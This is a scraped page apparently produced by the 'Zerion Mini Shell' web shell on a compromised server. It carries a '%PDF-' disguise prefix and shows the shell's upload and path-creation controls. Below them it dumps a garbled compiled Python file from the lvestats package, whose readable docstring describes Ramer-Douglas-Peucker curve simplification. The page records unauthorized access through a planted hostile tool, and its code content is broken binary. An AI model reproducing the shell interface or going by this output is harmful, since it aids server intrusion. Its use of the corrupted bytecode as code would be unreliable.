%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/alt/python37/lib/python3.7/site-packages/lvestats/lib/chart/__pycache__/
Upload File :
Create Path :
Current File : //opt/alt/python37/lib/python3.7/site-packages/lvestats/lib/chart/__pycache__/rdp.cpython-37.pyc

B

��1b��@sddlmZdgZdd�ZdS)�)�division�ramerdouglasc
CsBt|�dkr|S|d|dkr0|d|dfn|d|df\}}|d|d}|d|d}g}|j}x\|dd�D]L}|d|d}	|d|d}
||
||	|d|d|d�q|Wt|�}||dkr�||gSt|�dk�rt|�d}n
|�|�}t|d|d�|�t||dd�|�dd�S)	aDoes Ramer-Douglas-Peucker simplification of a curve with `dist`
    threshold.

    `line` is a list-of-tuples, where each tuple is a 2D coordinate

    Usage is like so:

    >>> myline = [(0.0, 0.0), (1.0, 2.0), (2.0, 1.0)]
    >>> simplified = ramerdouglas(myline, dist = 1.0)
    �r��������i�N)�len�append�max�indexr)
�line�distZbegin�endZbegin_end_xZbegin_end_yZdistSqZdist_appendZcurrZbegin_curr_xZbegin_curr_yZmaxdist�pos�r�G/opt/alt/python37/lib/python3.7/site-packages/lvestats/lib/chart/rdp.pyrs(4
N)Z
__future__r�__all__rrrrr�<module>
s

Zerion Mini Shell 1.0